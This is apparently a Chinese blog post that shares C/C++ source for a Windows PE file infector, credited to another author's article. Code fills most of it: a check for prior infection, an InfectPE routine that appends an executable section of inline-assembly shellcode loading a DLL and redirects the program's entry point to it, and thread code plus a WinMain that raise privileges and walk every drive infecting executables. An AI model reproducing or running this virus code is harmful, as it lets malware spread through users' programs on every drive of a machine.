这套源码并非原创,而是参考llydd 大佬的文章,通过在PE文件中增加新节点,并在新节中增入SHELL CODE来加载指定DLL从而实现XX....
所以可以根据遍历PE文件节点来判断是还被感染过,下面是自己根据自己的工程需要,适当修改了其中一小部分代码:
1、判断PE文件是否被感染过
/************************************************************************/
/* 函数说明:判断文件是否被感染
/* 参 数:strFile 文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma 2009.12.14 22:35
/************************************************************************/
BOOL IsInfect(CString strFile)
{
HANDLE hFile; // 保存文件句柄
HANDLE hMapping; // 内存文件映射句柄
void* pBasePointer; // PE入口点
int dwSestion; // 节结数
int i; // 临时循环变量
BOOL bRet = FALSE; // 返回值
IMAGE_DOS_HEADER *imDos_Headers; // 定义DOS头
IMAGE_NT_HEADERS *imNT_Headers; // 定义PE头
IMAGE_SECTION_HEADER *imSECTION_Headers; // 定义SECTION表头
// 打开文件
hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,0);
if (hFile==INVALID_HANDLE_VALUE){
GetLastError();
return FALSE;
}
// 创建内存映射文件
if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}
if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}
// 设置初始指针地址
imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer;
if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}
// NT头指针地址
imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);
// 读取节表名
CString strTemp = "";
CString strSectionName;
for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++)
{
strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name);
strSectionName = strSectionName + strTemp;
dwSestion = i;
}
// 查找节点是否存在
// MessageBox(strSectionName);
if(strSectionName.Find(".data")>0){
bRet = TRUE;
}
// 关闭句柄、释放文件
CloseHandle(hFile);
CloseHandle(hMapping);
return bRet;
}
2、感染指定的PE文件
/************************************************************************/ /* 函数说明:感染exe文件 /* 参 数:strFile 文件路径 /* 返 回 值:成功返回TRUE,失败返回FALSE /* By:Koma 2009.12.15 21:48 /************************************************************************/ BOOL InfectPE(CString strFilePath) { FILE* rwFile; // 被感染的文件 IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块 IMAGE_NT_HEADERS NThea; // DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址 int nOldSectionNo; int OEP; if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回 return FALSE; } if(!CheckPE(rwFile)){ // 如果不是PE文件则返回 return FALSE; } fseek(rwFile,0x3c,0); fread(&pNT,sizeof(DWORD),1,rwFile); fseek(rwFile,pNT,0); fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构 nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量 OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息 int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment; int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值 memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER)); fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息 for(int i=0;i<nOldSectionNo;i++) fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile); FILE *newfile = fopen(strFilePath,"rb+"); if(newfile==NULL){ return FALSE; } fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET); goto shellend; __asm { shell: PUSHAD MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针 MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址 MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中 MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表 MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目 MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址 ADD EBX,EBP PUSH WORD PTR 0X00 ;构造GetProcAddress字符串 PUSH DWORD PTR 0X73736572 PUSH DWORD PTR 0X64644163 PUSH DWORD PTR 0X6F725074 PUSH WORD PTR 0X6547 MOV EDX,ESP PUSH ECX F1: MOV EDI,EDX POP ECX DEC ECX TEST ECX,ECX JZ EXIT MOV ESI,[EBX+ECX*4] ADD ESI,EBP PUSH ECX MOV ECX,15 REPZ CMPSB TEST ECX,ECX JNZ F1 POP ECX MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址 ADD ESI,EBP MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号 MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址 ADD EDI,EBP MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址 ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串 PUSH DWORD PTR 0X41797261 PUSH DWORD PTR 0X7262694C PUSH DWORD PTR 0X64616F4C PUSH ESP PUSH EBP CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址 PUSH WORD PTR 0X00 ;添加参数“test”符串 PUSH DWORD PTR 0X74736574 PUSH ESP CALL EAX EXIT: ADD ESP,36 ;平衡堆栈 POPAD } shellend: char* pShell; int nShellLen; BYTE jmp = 0xE9; __asm { LEA EAX,shell MOV pShell,EAX; LEA EBX,shellend SUB EBX,EAX MOV nShellLen,EBX } // 写入SHELLCODE, for(i=0;i<nShellLen;i++) fputc(pShell[i],newfile); // SHELLCODE之后是跳转到原OEP的指令 NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG); OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5; fwrite(&jmp, sizeof(jmp), 1, newfile); fwrite(&OEP, sizeof(OEP), 1, newfile); // 将最后增加的数据用0填充至按文件中对齐的大小 for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++) fputc('/0',newfile); // 新区块中的数据 strcpy((char*)NewSection.Name,".NYsky"); NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData; NewSection.Misc.VirtualSize=nShellLen; NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG); NewSection.Characteristics=0xE0000020; // 新区块可读可写可执行、写入新的块表 fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0); fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile); int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG); int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG); fseek(newfile,pNT,0); NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0; NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0; NThea.OptionalHeader.SizeOfCode=nNewSizeofCode; NThea.OptionalHeader.SizeOfImage=nNewImageSize; NThea.FileHeader.NumberOfSections=nOldSectionNo+1; NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 写入更新后的PE头结构 fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile); fclose(newfile); fclose(rwFile); return TRUE; }
3、线程参数类定义
/ // DiskInfo class // 采用多线程感染每一个磁盘驱动器 // class DiskInfo { public: CString m_strName; // 磁盘名称,例如C: CString m_strFilePath; // 感染文件的绝对路径 BOOL m_bCurFileIsInject; // 判断该文件是否被感染过 DiskInfo(); // 构造函数,用来初始化成员变量 }; / // DiskInfo 构造函数 // 初始化成员变量 // DiskInfo::DiskInfo() { m_strFilePath = _T(""); m_strName = _T(""); }
4、线程函数
/************************************************************************/ /* 函数说明:线程 —— 感染指定exe文件 /* 参 数:驱动器名称,如C: /* 返 回 值:遍历的数目 /* By:Koma 2009.12.17 14:05 /************************************************************************/ DWORD ThreadInject(LPVOID lpParameter) { DiskInfo *diParam = (DiskInfo *)lpParameter; BOOL bRet = InfectPE(diParam->m_strFilePath); if(bRet) return 0; return -1; } /************************************************************************/ /* 函数说明:线程 —— 遍历驱动器exe文件 /* 参 数:驱动器名称,如C: /* 返 回 值:遍历的数目 /* By:Koma 2009.12.17 14:05 /************************************************************************/ DWORD ThreadDisk(LPVOID lpParameter) { DiskInfo *diParam = (DiskInfo *)lpParameter; BOOL bRet = EmuDiskFiles(diParam->m_strName); if(bRet) return 0; return -1; } /************************************************************************/ /* 函数说明:WinMain —— 程序入口函数 /* 参 数:参见MSDN /* 返 回 值:退出代码 /* By:Koma 2009.12.18 22:32 /************************************************************************/ int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ) { RaiseToDebug(); // 提升权限 EmuAllDisk(); // 依次启动遍历磁盘线程、遍历文件 return 0; }